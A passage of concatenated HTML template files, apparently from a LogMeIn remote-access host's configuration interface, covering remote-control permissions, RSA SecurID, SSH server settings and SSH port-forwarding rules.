<td><input type="checkbox" name="LockConsole" value="1" &LockConsole& <?disabled LockConsole.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.LockConsoleTimeout&</td>
<td><input type="checkbox" name="LockConsoleTimeout" value="1" &LockConsoleTimeout& <?disabled LockConsoleTimeout.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.LockConsoleAlways&</td>
<td><input type="checkbox" name="LockConsoleAlways" value="1" &LockConsoleAlways& <?disabled LockConsoleAlways.LOCKED?>></td>
</tr>
<? if not ISMAC ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.BlockRemoteInput&</td>
<td><input type="checkbox" name="BlockRemoteInput" value="1" &BlockRemoteInput& <?disabled BlockRemoteInput.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.UseOneClickLogin&</td>
<td><input type="checkbox" name="UseOneClickLogin" value="1" &UseOneClickLogin& <?disabled UseOneClickLogin.LOCKED?>></td>
</tr>
<?if not BRAND.LOGMEIN.FREE?>
<tr>
<td>&MSG.CONFIG.REMCTRL.DisableDragAndDrop&</td>
<td><input type="checkbox" name="DisableDragAndDrop" value="1" &DisableDragAndDrop&></td>
</tr>
<? endif ?>
<? endif ?>
</table>
</fieldset>
<br><br>
<? endif ?>
<?if not ISUNIX?>
<fieldset><legend>&MSG.CONFIG.REMCTRL.AUDIBLENOTIFICATION&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>&MSG.CONFIG.REMCTRL.BeepWhenRCStartsOrEnds&</td>
<td><input type="checkbox" name="BeepWhenRCStartsOrEnds" value="1" &BeepWhenRCStartsOrEnds& <?disabled BeepWhenRCStartsOrEnds.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.BeepContinuously&</td>
<td><input type="checkbox" name="BeepContinuously" value="1" &BeepContinuously& <?disabled BeepContinuously.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.BeepInterval&</td>
<td><input type="text" name="BeepInterval" value="<?&BeepInterval _spn?>" <?disabled BeepInterval.LOCKED?>> (&MSG.SPNFMT&, &MSG.CONFIG.REMCTRL.BeepIntervalExplain&)</td>
</tr>
<? if not IS9X?>
<tr>
<td>&MSG.CONFIG.REMCTRL.FlashKeyboardIndicators&</td>
<td><input type="checkbox" name="FlashKeyboardIndicators" value="1" &FlashKeyboardIndicators& <?disabled FlashKeyboardIndicators.LOCKED?>></td>
</tr>
<? endif ?>
</table>
</fieldset>
<?endif?>
<br><br>
<?if not ISUNIX?>
<fieldset><legend>&MSG.CONFIG.REMCTRL.ASKPERMISSION&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>&MSG.CONFIG.REMCTRL.AskForPermission&</td>
<td><input type="checkbox" name="AskForPermission" value="1" &AskForPermission& <?disabled AskForPermission.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.AskForPermissionDefault&</td>
<td><input type=radio name="AskForPermissionDefault" value="1" &AskForPermissionDefaultYes& <?disabled AskForPermissionDefaultYes.LOCKED?>> &DIALOG.YES&</td>
</tr>
<tr>
<td></td>
<td><input type=radio name="AskForPermissionDefault" value=0 &AskForPermissionDefaultNo& <?disabled AskForPermissionDefaultNo.LOCKED?>> &DIALOG.NO&</td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.PermissionTimeout&</td>
<td><input type="text" name="PermissionTimeout" value="<?&PermissionTimeout _spn?>" <?disabled PermissionTimeout.LOCKED?>> (&MSG.SPNFMT&, &MSG.CONFIG.REMCTRL.PermissionTimeoutExplain&)</td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.PermissionText&</td>
<td><textarea rows="4" cols="38" name="PermissionText" <?if BRAND.LOGMEIN?><?disabled PermissionText.LOCKED or not LICENSE.CANDISABLERCN?><?endif?>>&{XML}PermissionText&</textarea></td>
</tr>
<?if LICENSE.CANDISABLERCN?>
<tr>
<td>&MSG.CONFIG.REMCTRL.RemoteControlledText&</td>
<td><textarea rows="3" cols="38" name="RemoteControlledText" <?disabled RemoteControlledText.LOCKED?>>&{XML}RemoteControlledText&</textarea></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.RemoteMonitoredText&</td>
<td><textarea rows="3" cols="38" name="RemoteMonitoredText" <?disabled RemoteMonitoredText.LOCKED?>>&{XML}RemoteMonitoredText&</textarea></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.EnableUserNotification&</td>
<td><input type="checkbox" name="EnableUserNotification" value="1" &EnableUserNotification& <?disabled EnableUserNotification.LOCKED?>> (&MSG.CONFIG.REMCTRL.EnableUserNotificationExplain&)</td>
</tr>
<?endif?>
<tr>
<td>&MSG.CONFIG.REMCTRL.FullCtrlBypassUsrPerm&</td>
<td><input type="checkbox" name="FullCtrlBypassUsrPerm" value="1" &FullCtrlBypassUsrPerm& <?disabled FullCtrlBypassUsrPerm.LOCKED?>></td>
</tr>
<?if not IS9X?>			
<tr>
<td>&MSG.CONFIG.REMCTRL.AskForPermExcept&</td>
<td><input type="checkbox" name="AskForPermExcept" value="1" &AskForPermExcept& <?disabled AskForPermExcept.LOCKED?>></td>
</tr>
<tr>
<td colspan=2 align="center" class="link"><br><font color="<?&COLOR.Link?>">&MSG.CONFIG.REMCTRL.AskForPermExceptExplain&</font><br></td>
</tr>
<?endif?>
</table>
</fieldset>
<br><br>
<?endif?>
<?if not IS9X and not BRAND.LOGMEIN.FREE?>
<fieldset><legend>&MSG.CONFIG.REMCTRL.RemotePrint&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>&MSG.CONFIG.REMCTRL.RemotePrintOn&</td>
<td><input type="checkbox" name="EnableRemotePrinting" value="1" &EnableRemotePrinting& <?disabled EnableRemotePrinting.LOCKED?>></td>
</tr>
</table>
</fieldset>
<br><br>
<?endif?>
<?if not IS9X and USE.RFS.DRIVEMAP and not BRAND.LOGMEIN.FREE?>
<fieldset><legend>&MSG.CONFIG.REMCTRL.ConnectingDrives&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>&MSG.CONFIG.REMCTRL.EnableConnectingDrives&</td>
<td><input type="checkbox" name="RfsEnableConnectingDrives" value="1" &RfsEnableConnectingDrives& <?disabled RfsEnableConnectingDrives.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.PreferredDriveLetter&</td>
<td>
<select name="RfsPreferredDriveLetter" <?disabled RfsPreferredDriveLetter.LOCKED?>>
<option <?selected RfsPreferredDriveLetter = "F"?> value="F"> F: </option>
<option <?selected RfsPreferredDriveLetter = "G"?> value="G"> G: </option>
<option <?selected RfsPreferredDriveLetter = "H"?> value="H"> H: </option>
<option <?selected RfsPreferredDriveLetter = "I"?> value="I"> I: </option>
<option <?selected RfsPreferredDriveLetter = "J"?> value="J"> J: </option>
<option <?selected RfsPreferredDriveLetter = "K"?> value="K"> K: </option>
<option <?selected RfsPreferredDriveLetter = "L"?> value="L"> L: </option>
<option <?selected RfsPreferredDriveLetter = "M"?> value="M"> M: </option>
<option <?selected RfsPreferredDriveLetter = "N"?> value="N"> N: </option>
<option <?selected RfsPreferredDriveLetter = "O"?> value="O"> O: </option>
<option <?selected RfsPreferredDriveLetter = "P"?> value="P"> P: </option>
<option <?selected RfsPreferredDriveLetter = "Q"?> value="Q"> Q: </option>
<option <?selected RfsPreferredDriveLetter = "R"?> value="R"> R: </option>
<option <?selected RfsPreferredDriveLetter = "S"?> value="S"> S: </option>
<option <?selected RfsPreferredDriveLetter = "T"?> value="T"> T: </option>
<option <?selected RfsPreferredDriveLetter = "U"?> value="U"> U: </option>
<option <?selected RfsPreferredDriveLetter = "V"?> value="V"> V: </option>
<option <?selected RfsPreferredDriveLetter = "W"?> value="W"> W: </option>
<option <?selected RfsPreferredDriveLetter = "X"?> value="X"> X: </option>
<option <?selected RfsPreferredDriveLetter = "Y"?> value="Y"> Y: </option>
<option <?selected RfsPreferredDriveLetter = "Z"?> value="Z"> Z: </option>
</select>
</td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.AllowConnectLocalDrives&</td>
<td><input type="checkbox" name="RfsAllowConnectLocalDrives" value="1" &RfsAllowConnectLocalDrives& <?disabled RfsAllowConnectLocalDrives.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.AllowConnectRemovableDrives&</td>
<td><input type="checkbox" name="RfsAllowConnectRemovableDrives" value="0" &RfsAllowConnectRemovableDrives& <?disabled RfsAllowConnectRemovableDrives.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.AllowConnectNetworkDrives&</td>
<td><input type="checkbox" name="RfsAllowConnectNetworkDrives" value="0" &RfsAllowConnectNetworkDrives& <?disabled RfsAllowConnectNetworkDrives.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.DirFormatOfConnectedDrives&</td>
<td>
<select name="RfsDirFormatOfConnectedDrives" <?disabled RfsDirFormatOfConnectedDrives.LOCKED?>>
<option <?selected RfsDirFormatOfConnectedDrives = "0"?> value="0"> &MSG.CONFIG.REMCTRL.DirFormatDescriptionFirst& </option>
<option <?selected RfsDirFormatOfConnectedDrives = "1"?> value="1"> &MSG.CONFIG.REMCTRL.DirFormatDriveLetterFirst& </option>
</select>
</td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.ReadOnlyConnection&</td>
<td><input type="checkbox" name="RfsReadOnlyConnection" value="0" &RfsReadOnlyConnection& <?disabled RfsReadOnlyConnection.LOCKED?>></td>
</tr>
</table>
</fieldset>
<br><br>
<?endif?>
<?if not IS9X and USE.SOUND.TRANSFER?>
<script language="JavaScript">
function reload(inp) { inp.form.submit(); }
</script>
<?if SOUNDCARD.PRESENT?>
<fieldset><legend>&MSG.CONFIG.REMCTRL.SoundTransfer&</legend>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>&MSG.CONFIG.REMCTRL.SndAutoStart&</td>
<td><input type="checkbox" name="SndAutoStart" value="1" &SndAutoStart& <?disabled SndAutoStart.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.SndMuteServer&</td>
<td><input type="checkbox" name="SndMuteServer" value="0" &SndMuteServer& <?disabled SndMuteServer.LOCKED?>></td>
</tr>
<?if not ISVISTAORBETTER?>
<?if SOUNDDEVICES>0?>
<tr>
<td>&MSG.CONFIG.REMCTRL.SoundCaptureDevice&</td>
<td>
<select name="SndCaptureDeviceToUse" size="1" onchange="reload(this)"><?enum SOUNDDEVICES?><option <?selected SoundCaptureDevice.guid = SndCaptureDeviceToUse?> value="&SoundCaptureDevice.guid&">&SoundCaptureDevice.name&</option><?next?></select>
</td>
</tr>
<?endif?>
<?if SOUNDINPUTLINES>0?>
<tr>
<td>&MSG.CONFIG.REMCTRL.SoundInputLine&</td>
<td>
<select name="SndInputLineToUse" size="1"><?enum SOUNDINPUTLINES?><option <?selected SoundInputDevice.name = SndInputLineToUse?> value="&SoundInputDevice.name&">&SoundInputDevice.name&</option><?next?></select>
</td>
</tr>
<?endif?>
<?endif?>
<tr>
<td>&MSG.CONFIG.REMCTRL.EncodeQuality&</td>
<td>
<select name="SndBandwidth" <?disabled SndBandwidth.LOCKED?>>
<option <?selected SndBandwidth = 32?> value="32"> &MSG.CONFIG.REMCTRL.LowQuality& </option>
<option <?selected SndBandwidth = 64?> value="64"> &MSG.CONFIG.REMCTRL.MediumQuality& </option>
<option <?selected SndBandwidth = 128?> value="128"> &MSG.CONFIG.REMCTRL.HighQuality& </option>
</select>
</td>
</tr>
</table>
</fieldset>
<?endif?>
<br><br>
<?endif?>
<input type="submit" value="&MSG.DIALOG.APPLY&">
<?if UI="secrem"?>
&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='lmipref.html'" ID="Button1" NAME="Button1">
<?endif?>
</form>
</center>
</div>
</body>
</html>
Q0cfgrsa.htmlU%<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<script type="text/javascript" src="js/window.js"></script>
</head>

<body>
<?
action "cfgrsa"
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText">&MSG.CONFIG.PERMISSIONS.RSASECURID&</span></div>

<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.PERMISSIONS.RSASECURID%&favicon=menu_secure.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>

<br><?usemacro CONFIRMUPDATE()?>
<form action="&TEMPLATE&" method="post">
<fieldset><legend><?&MSG.CONFIG.PERMISSIONS.SETTINGS?></legend><br>
<input type="hidden" name="op" value="update">
<?if RSACONNFAIL?>
<img border=0 src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" width=16 height=16>&nbsp;<?&CONFIG.PERMISSIONS.RSANAWARNING?><br><br>
<?endif?>
<table>
<tr>
<td><input type="radio" name="RSAENABLED" value="0" <?checked RSAENABLED = "0"?>></td>
<td><?&CONFIG.PERMISSIONS.RSADISABLED?></td>
</tr>
<tr>
<td><input type="radio" name="RSAENABLED" value="1" <?checked RSAENABLED = "1"?>></td>
<td><?&CONFIG.PERMISSIONS.RSAENABLEDALL?></td>
</tr>
<tr>
<td><input type="radio" name="RSAENABLED" value="2" <?checked RSAENABLED = "2"?>></td>
<td><?&CONFIG.PERMISSIONS.RSAENABLEDSPEC?></td>
</tr>
<tr>
<td><input type="checkbox" name="RSAFORCE" value="1" =RSAFORCE=></td>
<td><?&CONFIG.PERMISSIONS.RSAFORCE?></td>
</tr>
<tr>
<td><input type="checkbox" name="RSAEQNAMES" value="1" =RSAEQNAMES=></td>
<td><?&CONFIG.PERMISSIONS.RSAEQNAMES?></td>
</tr>
<?if ISNT?>
<tr>
<td><input type="checkbox" name="RSAUSEDOMAIN" value="1" =RSAUSEDOMAIN=></td>
<td><?&CONFIG.PERMISSIONS.RSAUSEDOMAIN?></td>
</tr>
<?endif?>
</table>
<br><?if not BRAND.LOGMEIN?><?&CONFIG.PERMISSIONS.RSASSHNOTES?><br><?endif?><br>
<?if actions has "-cfgfilter-"?>
<hr>
<?&CONFIG.PERMISSIONS.RSAFILTER?>:&nbsp;
<select name="RSABYPASSIPFILTER">
<option value="">&CONFIG.NONE&</option>
<?enum IPFILTERS?>
<option value="&IPFILTER.NAME&" <?selected RSABYPASSIPFILTER = IPFILTER.NAME?>>&IPFILTER.NAME&</option>
<?next?>
</select><br><br>
&CONFIG.PERMISSIONS.RSAFILTERNOTE&<br><br>
<?endif?>
</fieldset><br><br>
<?if RSAENABLED = "2"?>
<fieldset><legend><?&MSG.CONFIG.PERMISSIONS.USERS?></legend><br>
<?if ISNT?>
<input type="submit" name="userlist" value="&CONFIG.USERLIST.BTNTEXT&" onclick="this.form.op.value='';">&nbsp;
(<?&CONFIG.USERLIST.CACHED?>&nbsp;<input type="checkbox" name="USERLISTCACHED" value="1" checked>)&nbsp; 
<?&CONFIG.USERLIST.FROM?>&nbsp;<input type="text" name="USERLISTDOMAIN" value="&USERLISTDOMAIN&">
<br><br>
<?endif // ISNT?>
<table><tr><td>
<?&CONFIG.PERMISSIONS.RSAREQUIRES?>:
</td><td>
<?&CONFIG.PERMISSIONS.RSANOTREQUIRES?>:
</td></tr><tr><td>
<select name="DELUSERS" size="10" multiple>
<option>----------------------------------------</option>
<?enum RSAUSERS?><option value="&RSAUSER.SID&">&RSAUSER.NAME&</option><?next?>
<option>----------------------------------------</option>
</select>&nbsp;
</td><td>
<select name="ADDUSERS" size="10" multiple>
<option>----------------------------------------</option>
<?enum USERS?><option value="&USER.SID&">&USER.NAME&</option><?next?>
<option>----------------------------------------</option>
</select>
</tr></table>
<br><?&CONFIG.PERMISSIONS.RSAUSERSELECT?><br><br>
</fieldset><br><br>
<?endif // RSAENABLED = "2"?>
<input type="submit" value="&DIALOG.APPLY&"><br>
</form>
<br><br>

</center>
</div>
</body>
</html>
n*cfgssh.htmlz!<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>
<body>

<?
action "cfgssh"
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&CONFIG.SSH.TITLE&<?if MSG?> - &CONFIG.SSH:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%CONFIG.SSH.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>
<form action="&TEMPLATE&" method="post">
<input type=hidden name="op" value="update">
<input type="hidden" name="restart" value="">

<?if REQ.RESTART?>

&MSG.CONFIG.NEEDRESTART&<br><br>
<input type="button" value="&MSG.ADMIN.REBOOT.RESTARTTITLE&" onclick="window.location='restart.html?type=ra'"><br><br>

<?else?>

<script language="JavaScript">
function rr(inp) { inp.form.restart.value='yes'; }
</script>
<br>
<fieldset>
<table width="90%">
<tr><td width="50%" align="right">
*&CONFIG.NET.LISTENPORT&</td><td><input type=text name="PORT" value="&PORT&" onchange="rr(this)"></td>
</tr><tr>
<td align="right">*&CONFIG.NET.LISTENIP&</td>
<td>
<select name="IPADDR" size="4" onchange="rr(this)">
<?enum LISTENIPS?>
<option value="&LISTENIPS.VALUE&" <?selected LISTENIPS.VALUE=IPADDR?>>&LISTENIPS.DISPLAY&</option>
<?next?>
</select>
</td>
</tr>
</table>
</fieldset>
<br><br>
<fieldset><legend>&CONFIG.SSH.FEATURES&</legend>
<table width="90%"><tr><td width="50%">
<table>
<tr><td width="90%" align="right">
*&CONFIG.SSH.SSH2&</td><td><input type=checkbox name="ssh2" value=1 &SSH2& onchange="rr(this)">
</td></tr><tr><td align="right">
&CONFIG.SSH.SFTP&</td><td><input type=checkbox name="sftp" value=1 &SFTP&>
</td></tr><tr><td align="right">
&CONFIG.SSH.SCP&</td><td><input type=checkbox name="scp" value=1 &SCP&>
<?if ISNT?>
</td></tr><tr><td align="right">
&CONFIG.SSH.MAPNETWORKDRIVES&</td><td><input type=checkbox name="mapnetworkdrives" value=1 &MAPNETWORKDRIVES&>
<?endif?>
</td></tr><tr><td align="right">
&CONFIG.SSH.COMPRESSION&</td><td>
<select name="compression" size=1>
<option value="0" <?selected COMPRESSION = 0?>>&CONFIG.SSH.COMPRESSION.NO&</option>
<option value="2" <?selected COMPRESSION = 2?>>&CONFIG.SSH.COMPRESSION.DELAYED&</option>
<option value="1" <?selected COMPRESSION = 1?>>&CONFIG.SSH.COMPRESSION.YES&</option>
</select>
</td></tr>
</table>
</td><td>
<table>
<tr><td width="90%" align="right">
&CONFIG.SSH.AUTHPWD&</td><td><input type=checkbox name="authpwd" value=1 &AUTHPWD&<?if RSAENABLED?> disabled<?endif?>>
</td></tr><tr><td align="right">
&CONFIG.SSH.AUTHKBDINT&</td><td><input type=checkbox name="authkbdint" value=1 &AUTHKBDINT&<?if RSAENABLED?> disabled<?endif?>>
<?if ISNT?>
</td></tr><tr><td align="right">
**&CONFIG.SSH.AUTHPUBKEY&</td><td><input type=checkbox name="authpubkey" value=1 &AUTHPUBKEY&<?if RSAENABLED?> disabled<?endif?>>
<?if MANAGEPUBKEY?>
</td></tr><tr><td align="right">
<input type=button value="&CONFIG.SSH.MANAGEPUBKEY&" onclick="location.replace('cfgsshpubkey.html')">
<?endif?>
<?endif?>
</td></tr><tr><td align="right">
&CONFIG.SSH.VERIFYREVERSEMAPPING&</td><td><input type=checkbox name="verifyreversemapping" value=1 &VERIFYREVERSEMAPPING&>
</td></tr><tr><td align="right">
&CONFIG.SSH.PORTFORWARD&</td><td>
<select name="portforward" size=1>
<option value="0" <?selected PORTFORWARD = 0?>>&CONFIG.SSH.PORTFORWARD.NO&</option>
<option value="2" <?selected PORTFORWARD = 2?>>&CONFIG.SSH.PORTFORWARD.RESTRICTED&</option>
<option value="1" <?selected PORTFORWARD = 1?>>&CONFIG.SSH.PORTFORWARD.YES&</option>
</select>
</td></tr><tr><td align="right">
&CONFIG.SSH.GATEWAYPORTS&</td><td><input type=checkbox name="gatewayports" value=1 &GATEWAYPORTS&>
</td></tr></table>
</td></tr></table>
<br>
<table width="90%">
<tr><td align=center>
<table>
<tr>
<td>&CONFIG.SSH.CUSTOMCMDLINE&:</td>
<tr>
</tr>
<td><input type=text name="customcmdline" value="&CUSTOMCMDLINE&" size=80></td>
</tr>
<tr>
<td>&CONFIG.SSH.ESCAPECHAR&:</td>
<tr>
</tr>
<td>
<select name="escapechar" size=1>
<option value=94  <?selected ESCAPECHAR = 94?>>&CONFIG.SSH.ESCAPECHAR.CARET&</option>
<option value=92  <?selected ESCAPECHAR = 92?>>&CONFIG.SSH.ESCAPECHAR.BACKSLASH&</option>
<option value=0   <?selected ESCAPECHAR = 0 ?>>&CONFIG.SSH.ESCAPECHAR.NONE&</option>
</select>
</td>
</tr>
</table>
</td></tr>
</table>
<br>
<table width="90%"><tr><td align=center>
<?if RSAENABLED?>
<font color="<?&COLOR.Link?>">&CONFIG.PERMISSIONS.RSASSHNOTES&</font>
<?else?>
<font color="<?&COLOR.Link?>">&CONFIG.SSH.FEATURES.NOTE&</font>
<?endif?>
</td></tr></table><br>
</fieldset>
<br><br>
<fieldset><legend>&CONFIG.SSH.PATHMAPPING&</legend>
<br>
<?if not PATHMAPPING?>
&CONFIG.SSH.NOMAPPING&<br><br>
<?else?>
<table class="inner" width="80%">

<tr>
<th>&CONFIG.SSH.PATH.VIRT&&nbsp;</th>
<th>&CONFIG.SSH.PATH.PHYS&&nbsp;</th>
<th>&DIALOG.DELETE&&nbsp;</th>
</tr>

<?enum PATHMAPPING?>
<tr>
<td>&PATH.VIRT&</td>
<td>&PATH.PHYS&</td>
<td align=center><a href="cfgssh.html?op=delmapping&pmap=<?%PATH.VIRT?>%3D<?%PATH.PHYS?>"><img border=0 src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" width=16 height=16></a></td>
</tr>
<?next // PATHMAPPING?>

</table><br>
<?endif // PATHMAPPING?>

<table width="90%">
<tr>
<td align="right" width="50%">&CONFIG.SSH.PATH.VIRT&:</td>
<td><input type=text name="pvirt"></td>
</tr>
<tr>
<td align="right">&CONFIG.SSH.PATH.PHYS&:</td>
<td><input type=text name="pphys"></td>
</tr>
</table><br>

<input type=submit value="&DIALOG.ADD&" onclick="this.form.op.value='addmapping';"><br>

</fieldset>
<br><br>
<fieldset><legend>&CONFIG.SSH.HOSTKEYS&</legend>
<table width="90%">
<tr><td width="50%" align="right" colspan=2></td></tr>
<tr>
<td align="right">&CONFIG.SSH.HKSSH2RSA&:</td>
<td><input type=text name="hkssh2rsabits" value="&HKSSH2RSABITS&"></td>
</tr><tr>
<td align="right">
<?if HKSSH2RSAOK?>
<img src="img/ico_evt_check.png?bg=%COLOR.DlgBack%" width=16 height=16>&nbsp;&CONFIG.SSH.HKSSH2RSAOK&
<?else?>
<img src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" width=16 height=16>&nbsp;&CONFIG.SSH.HKSSH2RSAFAIL&
<?endif?>
</td>
<td><input type=submit value="&CONFIG.SSH.HKNEW&" onclick="this.form.op.value='genhkssh2rsa'"></td>
</tr>
<tr><td colspan=2><hr></td></tr>
<tr>
<td align="right">&CONFIG.SSH.HKSSH2DSA&:</td>
<td><input type=text name="hkssh2dsabits" value="&HKSSH2DSABITS&" readonly="readonly"></td>
</tr><tr>
<td align="right">
<?if HKSSH2DSAOK?>
<img src="img/ico_evt_check.png?bg=%COLOR.DlgBack%" width=16 height=16>&nbsp;&CONFIG.SSH.HKSSH2DSAOK&
<?else?>
<img src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" width=16 height=16>&nbsp;&CONFIG.SSH.HKSSH2DSAFAIL&
<?endif?>
</td>
<td><input type=submit value="&CONFIG.SSH.HKNEW&" onclick="this.form.op.value='genhkssh2dsa'"></td>
</tr>
<tr><td colspan=2><hr></td></tr>
<tr>
<td colspan=2 align=center><input type=submit value="&CONFIG.SSH.HKEXPORT&" onclick="this.form.op.value='secsh'"></td>
</tr>
</table>
<br>
</fieldset>
<br><br>
<?if ISNT?>
<fieldset><legend>&CONFIG.SSH.PRIVSEP&</legend>
<br><table>
<tr><td align=center><b>&CONFIG.SSH.PRIVSEPSTATUS:PRIVSEP&</b><br></td></tr>
<tr><td align=center>
<?if PRIVSEP="DISABLED"?>
<input type=submit value="&CONFIG.SSH.PRIVSEPENABLE&" onclick="this.form.op.value='privsepenable'<?if not ISXPORBETTER?>; return confirm('$CONFIG.SSH.PRIVSEPDOMAIN$');<?endif?>">&nbsp;
<?else if PRIVSEP="ENABLED"?>
<input type=submit value="&CONFIG.SSH.PRIVSEPDISABLE&" onclick="this.form.op.value='privsepdisable'">&nbsp;
<?if not ISXPORBETTER?><input type=submit value="&CONFIG.SSH.PRIVSEPCHECK&" onclick="this.form.op.value='privsepcheck'">&nbsp;<?endif?>
<?endif?>			
<input type=button value="&CONFIG.SSH.PRIVSEPDESCRIBE&" onclick="location.replace('privsep.html')">
</td></tr>
</table><br>
</fieldset>
<?endif?>

<br><br>
<input type="submit" name="submit" value="&MSG.DIALOG.APPLY&">
<br><br>
<font color="<?&COLOR.Link?>">*&MSG.CONFIG.NEEDRESTART&<br>**&MSG.CONFIG.NEEDREBOOT&</font>
<br><br>

<?endif // REQ.RESTART?>

</form></center>
</div>
</body>
</html>
f~!$cfgsshportfwd.htmlm"<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
<script type="text/javascript" src="js/window.js"></script>
</head>

<body>
<?
if REQ.OP
action "cfgsshportfwd"
usemacro WINERRDLG()
endif
set REQ.OP = "list"
action "cfgsshportfwd"
usemacro WINERRDLG()
?>
<script language="JavaScript">
var rules = new Array();
var i = 1;
<?if RULES?>
<?enum RULES?>
var o = new Object();
o.idx       = <?&RULE.INDEX?>;
o.iPort     = "<?&RULE.IN.PORT?>";
o.iDestHost = "<?&RULE.IN.DESTHOST?>";
o.iDestPort = "<?&RULE.IN.DESTPORT?>";
o.oPort     = "<?&RULE.OUT.PORT?>";
o.oDestHost = "<?&RULE.OUT.DESTHOST?>";
o.oDestPort = "<?&RULE.OUT.DESTPORT?>";
o.descr     = "<?&RULE.DESCR?>";
o.enabled   = "<?&RULE.ENABLED?>";
rules[i++] = o;
<?next?>
<?endif?>
function showDlg(existing) {
if (existing > 0) {
if (trows != null) {
if (trows.getSelectedIndexes().length == 0) return;
} else {
return;
}
}
winShow( "sshfwdProp", true );
if (existing > 0) {
var	selrows = trows.getSelectedIndexes();
var actidx = selrows[0]-1;
document.forms.PropForm["chkEnabled"].checked	= (rules[actidx].enabled=="1");
document.forms.PropForm["INPORT"].value			= rules[actidx].iPort;
document.forms.PropForm["INDESTHOST"].value		= rules[actidx].iDestHost;
document.forms.PropForm["INDESTPORT"].value		= rules[actidx].iDestPort;
document.forms.PropForm["OUTPORT"].value		= rules[actidx].oPort;
document.forms.PropForm["OUTDESTHOST"].value	= rules[actidx].oDestHost;
document.forms.PropForm["OUTDESTPORT"].value	= rules[actidx].oDestPort;
document.forms.PropForm["DESCR"].value			= rules[actidx].descr;
document.forms.PropForm["ENABLED"].value		= rules[actidx].enabled;
document.forms.PropForm["OP"].value				= "set";
document.forms.PropForm["IDX"].value			= rules[actidx].idx;
} else {
document.forms.PropForm["chkEnabled"].checked	= true;
document.forms.PropForm["OP"].value				= "add";
}
document.forms.PropForm["SID"].value			= "&SID&";
}
function delItem() {
if (trows != null) {
if (trows.getSelectedIndexes().length == 0) return;
} else {
return;
}
var	selrows = trows.getSelectedIndexes();
var url = "$TEMPLATE$?OP=DEL";
for( var i = 0; i < selrows.length; i++) {
url += "&idx=" + rules[selrows[i]-1].idx;
}
url += "&sid=" + "&SID&";
window.location = url;
}
function checkForm() {
if (   PropForm.INPORT.value.length < 1
|| PropForm.INDESTHOST.value.length < 3
|| PropForm.INDESTPORT.value.length < 1
|| PropForm.OUTPORT.value.length < 1
|| PropForm.OUTDESTHOST.value.length < 3
|| PropForm.OUTDESTPORT.value.length < 1 )
return false;
PropForm.ENABLED.value = (PropForm.chkEnabled.checked ? "1" : "0");
return true;
}
function chkToolbar() {
document.images["toolattr"].src="img/ico_prop.gif"; 
document.images["tooldel"].src="img/ico_delete.gif"; 
}
</script>

<div class="window" style="height:96%">
<div class="titleBar"><?usemacro TITLEICON("server")?><span class="titleText">&CONFIG.SSHPORTFWD.TITLE& - &ACCNAME&</span></div>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%CONFIG.SSHPORTFWD.TITLE%&favicon=menu_server.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
